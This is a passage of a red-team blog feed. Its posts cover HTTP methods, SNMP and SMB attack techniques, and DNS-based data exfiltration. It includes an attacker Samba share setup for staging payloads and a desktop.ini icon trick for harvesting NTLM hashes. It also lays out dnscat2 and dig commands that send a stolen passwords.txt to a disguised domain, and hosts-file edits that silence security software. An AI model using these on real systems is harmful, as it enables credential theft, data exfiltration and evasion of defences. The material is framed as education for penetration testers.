/blog/?id=1 HTTP/1.1<br>Host: tryhackme.com<br>User-Agent: Mozilla/5.0 Firefox/87.0<br>Content-Length: 0</pre><h3>Modifying Existing Data (PUT)</h3><p>The PUT method is used to update information. Unlike GET, this request has a <strong>Body</strong> and requires a Content-Type header to tell the server how to read that body.</p><p><strong>Target:</strong> http://tryhackme.com/user/2 (Setting username to admin)</p><p>HTTP</p><pre>PUT /user/2 HTTP/1.1<br>Host: tryhackme.com<br>User-Agent: Mozilla/5.0 Firefox/87.0<br>Content-Length: 14<br>Content-Type: application/x-www-form-urlencoded</pre><pre>username=admin</pre><blockquote><strong><em>Pro-Tip:</em></strong><em> The </em><em>Content-Length must be exact. </em><em>username=admin is exactly 14 characters.</em></blockquote><h3>Deleting Resources (DELETE)</h3><p>The DELETE method is straightforward but powerful. In a secure environment, this would always require an Authorization header, though the basic structure remains the same.</p><p><strong>Target:</strong> <a href="http://tryhackme.com/user/1">http://tryhackme.com/user/1</a></p><p>HTTP</p><pre>DELETE /user/1 HTTP/1.1<br>Host: tryhackme.com<br>User-Agent: Mozilla/5.0 Firefox/87.0<br>Content-Length: 0</pre><h3>Submitting Sensitive Info (POST)</h3><p>POST is the standard for logins. The data is sent in the body of the request rather than the URL, which keeps credentials out of browser history and server access logs.</p><p><strong>Target:</strong> http://tryhackme.com/login (User: thm, Pass: letmein)</p><p>HTTP</p><pre>POST /login HTTP/1.1<br>Host: tryhackme.com<br>User-Agent: Mozilla/5.0 Firefox/87.0<br>Content-Length: 29<br>Content-Type: application/x-www-form-urlencoded</pre><pre>username=thm&amp;password=letmein</pre><h3>Red Team “Easter Cookies”</h3><ul><li><strong>405 Method Not Allowed Hunting:</strong> If you get a 405 on a GET request, try changing it to a POST or PUT. Sometimes developers forget to secure those alternative methods.</li><li><strong>Verb Tampering:</strong> Some older web servers are vulnerable to “Verb Tampering,” where they block GET and POST for a page, but allow HEAD or OPTIONS to see the content anyway.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd041da97129" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Disclaimer & Terms of Use]]></title>
            <link>https://medium.com/@mug1sh4/disclaimer-terms-of-use-7919960cf77e?source=rss-9cedfec9ebc7------2</link>
            <guid isPermaLink="false">https://medium.com/p/7919960cf77e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[liability]]></category>
            <category><![CDATA[disclaimer]]></category>
            <category><![CDATA[terms-and-conditions]]></category>
            <dc:creator><![CDATA[mug1sh4]]></dc:creator>
            <pubDate>Fri, 17 Apr 2026 13:51:49 GMT</pubDate>
            <atom:updated>2026-04-17T13:51:49.113Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*n4YdsraIxW8J1ESssRyl1Q.jpeg" /></figure><p>All content, projects, and walkthroughs shared on this profile are created strictly for <strong>educational and ethical security research purposes</strong>.</p><ul><li><strong>Authorized Use Only:</strong> These techniques should only be performed in isolated lab environments or on systems where you have <strong>explicit, written permission</strong> to conduct testing.</li><li><strong>Zero Responsibility:</strong> I am not responsible for any misuse of this information or for any damage caused by unauthorized activities.</li><li><strong>Legal Warning:</strong> Engaging in unauthorized hacking is illegal and can have serious legal consequences.</li></ul><p><strong>By reading my blogs, you agree to use this knowledge for the betterment of the cybersecurity community.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7919960cf77e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SNMP : The Map of the Network]]></title>
            <link>https://medium.com/@mug1sh4/snmp-the-map-of-the-network-8fb9bb0e8bb7?source=rss-9cedfec9ebc7------2</link>
            <guid isPermaLink="false">https://medium.com/p/8fb9bb0e8bb7</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[snmp]]></category>
            <category><![CDATA[network-protocols]]></category>
            <category><![CDATA[snmp-exploitation]]></category>
            <dc:creator><![CDATA[mug1sh4]]></dc:creator>
            <pubDate>Fri, 17 Apr 2026 13:50:51 GMT</pubDate>
            <atom:updated>2026-04-17T13:50:51.093Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nHzXdFLFxsX_QTCmncr9ig.png" /></figure><p>The <strong>Simple Network Management Protocol (SNMP)</strong> is an Application Layer protocol used to manage and monitor network devices. It allows a central “Manager” to talk to “Agents” (software on routers, servers, etc.) to see how they are performing or to change their settings.</p><h3>1. How it Works: The Manager, the Agent, and the MIB</h3><p>SNMP is a stateless protocol that uses <strong>UDP Ports 161 (for queries)</strong> and <strong>162 (for Traps/Alerts)</strong>.</p><ul><li><strong>The Manager:</strong> The central computer used by the admin.</li><li><strong>The Agent:</strong> A small piece of software running on every network device.</li><li><strong>The MIB (Management Information Base):</strong> A hierarchical database on the agent. This is the “treasure chest.” It contains:</li><li>System uptime and OS version.</li><li>Active user accounts.</li><li>Installed software and open ports.</li><li>Network interfaces and traffic stats.</li></ul><h3>2. The Vulnerability: Community Strings</h3><p>In SNMP versions 1 and 2c, “Community Strings” act as passwords. They are sent in <strong>cleartext</strong>, meaning anyone sniffing the network can see them.</p><ul><li><strong>Public String:</strong> (Default: public) Allows a user to <strong>read</strong> the MIB data.</li><li><strong>Private String:</strong> (Default: private) Allows a user to <strong>write/change</strong> device configurations.</li></ul><blockquote><strong><em>Red Team Reminder:</em></strong><em> Even if an admin changes the strings, they are unencrypted. A few minutes with Wireshark can reveal the “password” as it travels through the air or wire.</em></blockquote><h3>3. SNMP Versions: A Security Timeline</h3><p><strong>VersionSecurity LevelFeaturesv1Extremely Low</strong>Cleartext passwords (community strings). Wide usage despite flaws.<strong>v2cLow</strong>Better performance, but still uses cleartext community strings.<strong>v3High</strong>Adds <strong>Encryption</strong>, Message Integrity, and actual User Authentication.</p><h3>4. Practical Recon: Harvesting the MIB</h3><p>Once you have the community string (even just public), you can strip a target of its secrets using tools in Kali Linux.</p><h3>A. Using snmpcheck</h3><p>This tool queries the MIB and presents the data in a readable format.</p><ul><li><strong>Command:</strong> snmpcheck -t [Target_IP] -c [Community_String]</li><li><strong>What you get:</strong> You’ll see the exact OS version, the time since the last reboot (helping you guess if it’s unpatched), every user on the system, and every piece of software installed. This is the blueprint for your next exploit.</li></ul><h3>B. Cracking Strings with onesixtyone</h3><p>If the admin changed the strings, we use onesixtyone to brute-force them using a dictionary.</p><ul><li><strong>Command:</strong> onesixtyone [Target_IP] -c /usr/share/doc/onesixtyone/dict.txt</li><li><strong>Easter Cookie:</strong> Most admins use variations of the company name (e.g., Cisco-public). Adding these to your wordlist significantly increases your success rate.</li></ul><h3>5. High-Level Exploitation: Beyond Recon</h3><p>SNMP isn’t just for looking; it’s for touching.</p><ul><li><strong>NSA’s ExtraBacon:</strong> This infamous exploit (leaked from the NSA) allowed attackers to bypass authentication on Cisco Adaptive Security Appliances (ASA) via SNMP. It could effectively <strong>disable the firewall</strong> or unmask encrypted VPN traffic.</li><li><strong>Network Sabotage:</strong> With a “Private” string, a Red Teamer can change the routing tables on a switch, redirecting all sensitive traffic to their own machine (a “Man-in-the-Middle” attack on a massive scale).</li></ul><h3>Summary</h3><p>SNMP is the “Simple” protocol that offers complex rewards. For a defender, it must be upgraded to <strong>v3</strong> or disabled. For a Red Teamer, it is often the easiest way to perform deep reconnaissance without ever sending a single “noisy” port scan.</p><h3>Exercises</h3><ol><li><strong>MIB Exploration:</strong> Use snmpcheck on a lab machine and find the &quot;Storage Information&quot; section. Can you see how much free space is on the hard drive?</li><li><strong>Password Cracking:</strong> Use onesixtyone against a device where you have set a custom community string. Does your wordlist find it?</li><li><strong>Wireshark Analysis:</strong> Capture traffic while running snmpcheck. Find the &quot;Community String&quot; field in the UDP packet.</li></ol><p><strong>Red Team Pro-Tip:</strong> When checking for SNMP, don’t just scan for Port 161. Many older printers and IoT devices have SNMP enabled by default with the string public. These can often be used as a &quot;foothold&quot; to scan the rest of the internal network!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8fb9bb0e8bb7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SMB Protocol : N/W Sharing]]></title>
            <link>https://medium.com/@mug1sh4/smb-protocol-n-w-sharing-e3af26b4d6f0?source=rss-9cedfec9ebc7------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3af26b4d6f0</guid>
            <category><![CDATA[smb]]></category>
            <category><![CDATA[eternalblue-exploit]]></category>
            <category><![CDATA[network-protocols]]></category>
            <dc:creator><![CDATA[mug1sh4]]></dc:creator>
            <pubDate>Wed, 15 Apr 2026 07:39:17 GMT</pubDate>
            <atom:updated>2026-04-15T07:39:17.875Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/311/1*WAFcwfquD9bp1LmMpRX8Fg.jpeg" /></figure><p>Server Message Block (SMB) is an Application Layer (Layer 7) protocol used for sharing files, printers, and “named pipes.” While it is the backbone of Windows networking, for a Red Teamer, SMB is the <strong>primary highway for lateral movement</strong> and <strong>credential harvesting</strong> in an Active Directory environment.</p><p><strong>How It Works: The Request-Response Model</strong></p><p>SMB operates on a client-server basis, but the “handshake” is where the security flaws live.</p><p><strong>The Request:</strong> The client initiates a connection. In a Red Team scenario, we often “force” this request by sending a victim a malicious link or file that tries to load an icon from our attacker-controlled share.</p><ul><li><strong>The Connection (Port 445 vs. 139):</strong></li><li><strong>Port 445 (Direct Host):</strong> Modern SMB runs directly over TCP. This is your primary target.</li><li><strong>Port 137/138/139 (NetBIOS):</strong> Older “legacy” SMB. If you see these ports open, the target is likely running an older OS (like Windows XP/7) or a poorly configured Linux Samba server, making it vulnerable to older exploits.</li></ul><p><strong>The Action:</strong> Beyond file access, SMB allows for <strong>Inter-Process Communication (IPC)</strong>. The IPC$ share is a favorite for Red Teamers because it allows &quot;Null Sessions&quot; (anonymous logins) that let you enumerate user lists without a password.</p><p><strong>SMB vs. CIFS: The Evolution of Vulnerability</strong></p><p>While people use these terms interchangeably, understanding the versioning (dialects) is critical for <strong>vulnerability research</strong>.</p><ul><li><strong>CIFS (SMB 1.0): The “Legacy” Danger.</strong> This 90s-era dialect is the most insecure. It lacks modern encryption and is the specific target of the <strong>EternalBlue (MS17–010)</strong> exploit. Most modern Red Team engagements start by checking if SMBv1 is still enabled.</li><li><strong>SMB 2.0 / 2.1 (Vista/Win 7):</strong> Introduced “Request Compounding,” which made the protocol faster. From an attack perspective, this is where <strong>Message Signing</strong> became more common to prevent Man-in-the-Middle (MitM) attacks.</li><li><strong>SMB 3.0 / 3.1.1 (Win 8 to Win 11):</strong> The modern standard. It features <strong>End-to-End Encryption</strong> and <strong>Pre-Authentication Integrity</strong>.</li></ul><p><em>Red Team Detail:</em> SMB 3.1.1 uses SHA-512 hashes to protect the “Negotiation” phase. This makes it much harder to perform “downgrade attacks” (forcing a server to use a less secure version of SMB).</p><h3>Why Red Teamers Love SMB (Vulnerabilities)</h3><p>In Windows, the SMB service (srv2.sys) operates within the <strong>Kernel</strong>. This means that when a vulnerability is exploited in SMB, the payload doesn&#39;t just run as a standard user—it typically executes as <strong>NT AUTHORITY\SYSTEM</strong>. This provides &quot;God Mode&quot; over the machine immediately, with no further privilege escalation required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*VhYR5w2zumGCDmSm6XulKQ.png" /></figure><p><strong>The Hall of Weaponized SMB</strong></p><p><strong>MS08–067 (The Gateway)</strong></p><ul><li>Famous for being the exploit used by the <strong>Conficker</strong> worm. It targeted a flaw in how the “Path Canonicalization” worked. For a Red Teamer, this is the classic “easy win” on legacy networks using Metasploit or msfconsole.</li></ul><p><strong>EternalBlue (MS17–010): The Industry Shaker.</strong></p><ul><li><strong>The Tech:</strong> This exploited a bug in the <strong>SMBv1</strong> protocol where the server could be tricked into overflowing its memory buffer when handling specially crafted packets.</li><li><strong>Red Team Tradecraft:</strong> Even today, many internal corporate networks still have one or two “forgotten” legacy servers (like medical equipment or old print servers) that are vulnerable. We use it to gain a foothold and then dump the memory of lsass.exe to steal domain credentials.</li></ul><p><strong>SMBGhost (CVE-2020–0796): The Modern Nightmare.</strong></p><ul><li><strong>The Attack:</strong> This affects <strong>SMB 3.1.1</strong> (specifically Windows 10 versions 1903 and 1909). It exploits a flaw in how the protocol handles <strong>compression</strong>.</li><li><strong>The Result:</strong> Like EternalBlue, it is “wormable” — meaning it can spread from machine to machine automatically without any user interaction.</li></ul><p><strong>The “Stealth” Attack: NTLM Relay &amp; Responder</strong></p><p>Modern Red Teaming isn’t just about “exploiting bugs”; it’s about <strong>exploiting trust</strong>. If a network is patched against EternalBlue, we move to <strong>Relaying</strong>.</p><ul><li><strong>The Concept:</strong> When a Windows machine can’t find a resource on the network, it shouts out (using <strong>LLMNR/NBT-NS</strong>) asking “Who has this file?”</li><li><strong>The Red Team Move:</strong> We use a tool called <strong>Responder</strong> to say, “I am that server! Log in to me.”</li><li><strong>The Relay:</strong> We take the victim’s login attempt and <strong>relay</strong> it to another machine on the network. If the victim is an Admin, we instantly get a shell on the target machine — <strong>without ever knowing their password.</strong></li></ul><h3>Implementing SMB on Linux: The Samba Server</h3><p><strong>Implementing SMB on Linux: The Samba “Honey-Pot”</strong></p><p>While SMB is native to Windows, Linux uses <strong>Samba</strong> to mimic the protocol. For a Red Teamer, a Linux-based Samba server is often used as a “staging server” to host malicious scripts or as a “capture point” to harvest NTLM hashes.</p><p><strong>1. Installation and Service Management</strong></p><p>To turn your Kali or attack machine into an SMB server:</p><pre>sudo apt-get install samba<br>sudo systemctl start smbd</pre><p>Use code with caution.</p><ul><li><strong>Red Team Tip:</strong> Always check if the service is running on <strong>Port 445</strong> using ss -antlp | grep 445. If it’s blocked by your own firewall, the victim will never connect.</li></ul><p><strong>2. Configuration: The “Insecure” Red Team Way</strong></p><p>Standard Samba setup is too secure for our needs. We often want to allow “Null Sessions” (anonymous access) so a victim’s machine can pull a payload without needing a password.</p><p>Edit /etc/samba/smb.conf and add these global and share-specific settings:</p><p>plaintext</p><pre>[global]<br>   workgroup = WORKGROUP<br>   server string = Samba Server<br>   netbios name = DATA-SRV<br>   # Allow anonymous &#39;Guest&#39; access<br>   map to guest = Bad User<br>   # Support older, vulnerable dialects for legacy targets<br>   server min protocol = NT1</pre><pre>[RedTeam_Share]<br>   comment = Staging Area<br>   path = /tmp/share<br>   # Essential for letting the victim &#39;read&#39; your malware<br>   read only = no<br>   browsable = yes<br>   guest ok = yes<br>   # Force all files to be accessible regardless of Linux permissions<br>   force user = nobody</pre><p>Use code with caution.</p><p><strong>3. Creating the Staging Area</strong></p><p>The path must exist and be globally readable for the “Guest” access to work:</p><pre>mkdir /tmp/share<br># 777 is dangerous in production, but perfect for a quick attack lab<br>chmod 777 /tmp/share <br>sudo systemctl restart smbd</pre><p>Use code with caution.</p><p><strong>4. Weaponized Access: The “Icon” Trick</strong></p><p>Once your share is live (\\192.168.1.101\RedTeam_Share), you can use it for <strong>Credential Harvesting</strong>.</p><ul><li><strong>The Trick:</strong> Place a .url file or an desktop.ini file on a target&#39;s machine (or in a shared folder) that points its icon to your Samba server:<br>IconFile=\\192.168.1.101\anything\logo.ico</li><li><strong>The Result:</strong> When the victim simply <em>opens</em> the folder containing your file, Windows will automatically try to authenticate to your Samba server to fetch the icon. You can then use <strong>Responder</strong> or <strong>Wireshark</strong> to capture their <strong>NTLMv2 Hash</strong> for cracking.</li></ul><pre>Component         Standard Use           Red Team Use<br>smbd          -   File sharing     -     Hosting nc.exe or PowerShell scripts.<br>guest ok      -   Convenience       -    Bypassing authentication for automated payloads.<br>NT1 Protocol  -   Legacy support    -    Interacting with older, vulnerable Win XP/7 targets.</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3af26b4d6f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DNS { Part dos } — PROJECT DINO]]></title>
            <link>https://medium.com/@mug1sh4/dns-dos-project-dino-429cb05877a5?source=rss-9cedfec9ebc7------2</link>
            <guid isPermaLink="false">https://medium.com/p/429cb05877a5</guid>
            <category><![CDATA[windows-exploitation]]></category>
            <category><![CDATA[dns-windows]]></category>
            <category><![CDATA[dns-exfiltration]]></category>
            <category><![CDATA[dns]]></category>
            <dc:creator><![CDATA[mug1sh4]]></dc:creator>
            <pubDate>Mon, 13 Apr 2026 14:29:41 GMT</pubDate>
            <atom:updated>2026-04-13T14:31:10.426Z</atom:updated>
            <content:encoded><![CDATA[<p><em>(To be used for education purposes only)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OLkUbb8HMzfME0NQ8m08gQ.png" /></figure><p>In a professional Red Team operation, DNS exfiltration is rarely a “smash and grab.” It is a calculated, multi-stage process designed to move small, high-value data past modern security stacks without triggering a single alert.</p><p><strong>The Objective:</strong> Steal a passwords.txt file (50KB) from a hardened Windows workstation.<br><strong>The Challenge:</strong> All standard outbound doors (Web/HTTPS, SSH, FTP) are locked and monitored. However, the &quot;side door&quot;—<strong>Port 53 (DNS)</strong>—is wide open to allow the computer to look up internal addresses.</p><h3><strong>Step 1: Infrastructure Setup (The Attacker’s Den)</strong></h3><p>Before you touch the target, you must become the <strong>“Source of Truth.”</strong> You need a server that the internet recognizes as the boss of its own little corner of the web.</p><p><strong>1. Register a “Boring” Domain</strong></p><p>Don’t use evil-hacker.com. Choose something that blends in with background noise, like internal-updates-srv.com or data-sync-provider.net.</p><ul><li><strong>Reason:</strong> If a security analyst sees this domain in a log, they are likely to ignore it, thinking it’s just a standard Windows or Antivirus update service.</li></ul><p><strong>2. Configure “Glue Records”</strong></p><p>At your domain registrar (Namecheap, Porkbun, etc.), you must point your domain’s <strong>Nameservers (NS)</strong> directly to your own Attack VPS IP.</p><ul><li><strong>“Why”:</strong> This tells the entire global DNS system: <em>“If anyone asks about a subdomain of internal-updates-srv.com, don’t look it up — ask my server directly.”</em> This ensures that every piece of stolen data sent via a subdomain reaches <strong>your</strong> machine.</li></ul><p><strong>3. Deploy the Listener</strong></p><p>On your Kali Linux VPS, you start your “catcher.” This tool waits for the incoming DNS queries and reassembles them back into your stolen file.</p><ul><li><strong>The Command:</strong> ruby dnscat2.rb --dns domain=internal-updates-srv.com</li><li><strong>What this does:</strong> It turns your server into an <strong>Authoritative Name Server</strong>. It isn’t just “listening” — it’s ready to interpret the “language” of the exfiltration tool.</li></ul><h3><strong>Step 2: Payload Preparation (The Target’s Side)</strong></h3><p>Once you have a foothold on the victim’s machine, you can’t just “upload” the file. Standard file transfers are too loud. Instead, you have to prepare the data to fit through the <strong>“narrow pipe”</strong> of a DNS query.</p><p><strong>1. Compression &amp; Encoding (The Shrink)</strong></p><p>You cannot send a raw .txt file over DNS. It contains spaces, symbols, and line breaks that would break the protocol.</p><ul><li><strong>The Logic:</strong> passwords.txt → <strong>7zip/Gzip</strong> (to make it smaller) → <strong>Base64</strong> (to turn it into safe, alphanumeric text).</li><li><strong>The Red Team “Why”:</strong> Base64 turns your data into a string of characters (A-Z, 0–9) that DNS servers are happy to process. It essentially “disguises” your file as a long, weird-looking web address.</li></ul><p><strong>2. Chunking (The Assembly Line)</strong></p><p>As we learned in the first blog, a single DNS “label” (the part between the dots) has a <strong>63-character limit</strong>. Your encoded password file might be 50,000 characters long.</p><ul><li><strong>The Move:</strong> You must break that massive Base64 string into small, 63-character <strong>“chunks.”</strong></li><li><em>Chunk 1:</em> SGVsbG8gV29ybGQ...</li><li><em>Chunk 2:</em> V2hvIGlzIHRoZS...</li><li><strong>The Red Team “Why”:</strong> By breaking the data into small pieces, each piece can act as a “subdomain” in a standard DNS request.</li></ul><p><strong>3. Adding the “Sequence Number”</strong></p><p>If you send 1,000 chunks, how do you know which one comes first?</p><ul><li><strong>The Professional Touch:</strong> We add a counter to each chunk (e.g., ://internal-updates-srv.com, ://internal-updates-srv.com).</li><li><strong>The Red Team “Why”:</strong> This allows your server on the other end to put the “puzzle” back together in the correct order, even if the packets arrive out of sequence.</li></ul><h3><strong>Step 3: The Exfiltration “Trickle”</strong></h3><p>Now that the data is “chunked” and ready, the script on the victim’s machine begins the transmission. To a firewall or a distracted security analyst, this looks like a computer simply trying to find the address of various websites.</p><p><strong>1. The Automated Query</strong></p><p>The script fires off a series of dig or nslookup commands. Each command is a tiny piece of the stolen file.</p><ul><li><strong>Query 1:</strong> dig 1.SGVsbG8gV2.internal-updates-srv.com</li><li><strong>Query 2:</strong> dig 2.hvIGlzIHRoZ.internal-updates-srv.com</li></ul><p><strong>Layman Explanation:</strong> Imagine trying to smuggle a book out of a library by writing one sentence on the back of 1,000 different postcards and mailing them to yourself. Individually, a postcard is harmless. Together, they are the stolen book.</p><p><strong>2. The Journey: The “Game of Telephone”</strong></p><p>This is how the data travels from the heart of a “hardened” network to your server:</p><ol><li><strong>The Victim</strong> asks the <strong>Internal Corporate DNS Server</strong>: <em>“Hey, do you know the IP for this weird subdomain?”</em></li><li><strong>The Corporate Server</strong> doesn’t have it in its memory (cache), so it goes out to the <strong>Internet Root Servers</strong> to find out who is in charge of internal-updates-srv.com.</li><li><strong>The Root</strong> points the Corporate Server directly to <strong>Your VPS</strong> (thanks to the “Glue Records” we set up in Step 1).</li><li><strong>The Corporate Server</strong> asks <strong>Your VPS</strong>: <em>“What is the IP for this subdomain?”</em></li></ol><p><strong>3. The Capture (The Payload Extraction)</strong></p><p>Your VPS sees the request and knows exactly what to do.</p><ul><li><strong>The Extract:</strong> Your listener (like dnscat2) &quot;scrapes&quot; the subdomain part (the Base64 chunk) and saves it to a database.</li><li><strong>The “Dummy” Response:</strong> Your server then sends back a fake, boring answer like 1.2.3.4.</li><li><strong>The Red Team “Why”:</strong> By sending a normal response, the victim’s computer thinks the “lookup” was successful and doesn’t trigger any network errors. It stays “low and slow.”</li></ul><h3><strong>Step 4: Reassembly and Clean-Up</strong></h3><p>While the victim machine is busy sending hundreds of tiny queries, your Attacker VPS is hard at work as the “master builder.” Your listener tool (like dnscat2 or DNSExfiltrator) performs the following steps automatically:</p><ol><li><strong>Reconstruct:</strong> It collects all 500+ chunks, using the sequence numbers to ensure they are in the perfect order.</li><li><strong>Decode:</strong> It strips away the domain name (.internal-updates-srv.com) and reverses the Base64 encoding to turn the text back into &quot;data.&quot;</li><li><strong>Extract:</strong> It unzips the compressed file, revealing the original, cleartext passwords.txt.</li></ol><p><strong>How the Blue Team Hunts You (The Cat and Mouse Game)</strong></p><p>In a real engagement, the <strong>Blue Team</strong> (defenders) uses smart tools to look for “weird” DNS behavior. To pass a professional audit, your blog needs to show how you outsmarted their detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*L9To8Vptn8_vNoqQEAWOYQ.png" /></figure><p><strong>Final Red Team Tip: The “Heartbeat” Jitter</strong></p><p>Always use <strong>Jitter</strong>. If your queries happen exactly every 5 seconds, you are a “Beacon” — a pulsing light that security software can easily see. If they happen at random intervals (4s, 12s, 7s, 15s), you become a “Ghost,” indistinguishable from a human being checking their email or browsing the web.</p><p>ADIOS MUCHACHOS!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=429cb05877a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DNS: {PART Uno}]]></title>
            <link>https://medium.com/@mug1sh4/dns-part-uno-f7035ca15543?source=rss-9cedfec9ebc7------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7035ca15543</guid>
            <category><![CDATA[dns-exfiltration]]></category>
            <category><![CDATA[dns-servers]]></category>
            <category><![CDATA[dns]]></category>
            <dc:creator><![CDATA[mug1sh4]]></dc:creator>
            <pubDate>Mon, 13 Apr 2026 14:16:16 GMT</pubDate>
            <atom:updated>2026-04-13T14:30:37.685Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OLkUbb8HMzfME0NQ8m08gQ.png" /></figure><p>DNS is the protocol that translates human-readable domain names (like tryhackme.com) into computer-friendly IP addresses (like 104.26.10.229). Without DNS, the internet would be a massive, unnavigable list of numbers.</p><h3>1. Domain Hierarchy &amp; Structure</h3><p>A domain name is read from right to left, following a strict hierarchy:</p><p><strong>TLD (Top-Level Domain):</strong> The rightmost part (e.g., .com, .org).</p><ul><li><strong>gTLD (Generic):</strong> Tells the domain’s purpose (.edu for education, .gov for government). <strong>ccTLD (Country Code):</strong> Used for geographical identification (.ca for Canada, .ke for Kenya).</li><li><strong>NOTE =</strong> Watch for <strong>ccTLDs</strong> (Country Codes like .io or .ly). Some are managed with less security than .gov or .com, making them targets for <strong>Domain Hijacking</strong> via registrar social engineering — where an attacker tricks a registrar into giving them control of your site.</li></ul><p><strong>Second-Level Domain (SLD):</strong> The core name you register (e.g., tryhackme). It is limited to 63 characters.</p><ul><li><strong>The Lookalike Attack:</strong> Attackers use <strong>Typosquatting</strong> (e.g., tryhackm3.com) or <strong>Homograph attacks</strong> (using Cyrillic characters that look like Latin ones, like googIe.com with a capital &#39;i&#39;) to trick users during phishing campaigns.</li></ul><p><strong>Subdomain:</strong> Sits to the left of the SLD (e.g., admin.tryhackme.com). You can use multiple subdomains (e.g., jupiter.servers.tryhackme.com), but the total FQDN (Fully Qualified Domain Name) must be under 253 characters.</p><ul><li><strong>Discovery (Recon):</strong> Companies often forget about ://company.com or ://company.com, test.company.com or dev-backup.company.com.These &quot;forgotten&quot; subdomains often lack MFA or updated patches, making them the perfect “side door” into a network.</li></ul><p><strong>BONANZA TIME</strong></p><p>— DNS has strict limits, and Red Teamers use these limits to hide stolen data in plain sight.</p><ul><li><strong>The 253 Character Rule:</strong> An FQDN (the whole address) cannot exceed 253 characters. This is the <strong>MTU (Maximum Transmission Unit)</strong> for DNS-based C2.<strong>The Chunking Rule:</strong> If you are exfiltrating (stealing) data, a large file via DNS, we have to “chunk” it into small 253-character strings and send them one by one like a digital assembly line.</li><li><strong>The 63 Character Label:</strong> Each part between the dots can only be 63 characters. <strong>DNS Tunneling:</strong>When we want to steal data (exfiltration), we encode it (using Base64) and “stuff” it into that 63-character slot. To a firewall, it looks like a normal DNS request; to us, it’s a piece of a stolen password.</li><li><strong>The “Trailing Dot” Bypass:</strong> In the world of DNS, google.com is actually google.com. (with a dot at the end) — <strong>Security Bypass:</strong> Some lazy web filters only look for google.com. Adding that tiny dot at the end can sometimes trick a firewall into letting you through because it doesn&#39;t recognize the &quot;true&quot; technical name of the site.</li></ul><h3>2. The Ancestor: The Hosts File</h3><p>Before the internet became a giant city, it was a small village where everyone’s “phone number” was kept in a single text file. Today, every operating system still keeps this file (/etc/hosts in Linux or C:\Windows\System32\drivers\etc\hosts in Windows).</p><p>For a Red Teamer, the <strong>Hosts File</strong> is the ultimate tool for altering a target’s reality.</p><p><strong>The “Golden Rule” of Precedence</strong></p><p>Your computer is lazy. Before it does the hard work of asking a DNS server across the world where a website is, it checks its “local memory” (the Hosts File) first. If a rule is found there, the computer <strong>stops looking</strong> and follows that rule blindly.</p><p><strong>Red Team Tactics: Controlling the Narrative</strong></p><p>Once you gain “Administrator” or “Root” access, you can rewrite the computer’s map of the world:</p><p><strong>Local DNS Poisoning (The “Invisible” Phishing):</strong></p><ul><li><strong>The Move:</strong> Add a line like 192.168.1.50 ://microsoftonline.com.</li><li><strong>The Impact:</strong> The user types the real website into their browser. The browser shows the real URL. But because of your local rule, the computer connects to <strong>your server</strong> instead. This is how you steal login tokens without the user ever seeing a “sketchy” link.</li></ul><p><strong>Evasion (Blackholing the “Snitches”):</strong></p><ul><li><strong>The Move:</strong> Point security software domains to a “dead end” (127.0.0.1).</li><li><strong>Example:</strong> 127.0.0.1 updates.crowdstrike.com.</li><li><strong>The Impact:</strong> You effectively “blind” the security software. The antivirus tries to send an alert to the security team, but it accidentally talks to itself instead. You’ve silenced the alarm.</li></ul><p><strong>Internal Shortcut (Lateral Movement):</strong></p><ul><li><strong>The Move:</strong> Map an internal name like payroll-server to an IP you’ve compromised.</li><li><strong>The Impact:</strong> You can trick other automated services on the network into connecting to your machine, allowing you to intercept sensitive data or spread further.</li></ul><h3>3. How DNS Works: The Hierarchical Journey</h3><p>When you request a domain not in your cache, your computer starts a journey:</p><ol><li><strong>Recursive Resolver:</strong> Usually provided by your ISP. It checks its cache; if empty, it asks the Root.</li><li><strong>Root Servers:</strong> The backbone of the DNS. They point the resolver to the correct <strong>TLD Server</strong> (e.g., the .com server).</li><li><strong>TLD Server:</strong> Points the resolver to the <strong>Authoritative Name Server</strong> for the specific domain.</li><li><strong>Authoritative Name Server:</strong> The final stop. It holds the actual DNS records and returns the IP address.</li></ol><p><strong>The Players (And How We Target Them)</strong></p><p><strong>1. The Recursive Resolver (The Middleman)</strong></p><p>This is usually your ISP or a provider like Google (8.8.8.8). It does the “legwork” of finding the IP for you.</p><ul><li><strong>Red Team Insight (Cache Poisoning):</strong> This is the most dangerous target. If we “poison” the Resolver’s memory with a fake IP for google.com, <strong>every single user</strong> on that ISP will be sent to our malicious site. It’s like changing the signs on a major highway.</li></ul><p><strong>2. The Root Servers (The Master Index)</strong></p><p>There are only 13 logical root server clusters in the world. They don’t have the final answer; they just tell the Resolver which “department” (TLD) to talk to.</p><ul><li><strong>Red Team Insight (DDoS/Chaos):</strong> Because these are the backbone, they are rarely “hacked” but often <strong>flooded</strong>. A massive DDoS attack here doesn’t steal data — it paralyzes the internet by making the “map” unavailable.</li></ul><p><strong>3. The TLD Servers (The Department Heads)</strong></p><p>These handle specific endings like .com or .org.</p><ul><li><strong>Red Team Insight (The “Sitting Duck” Attack):</strong> We look for <strong>“Orphaned Glue 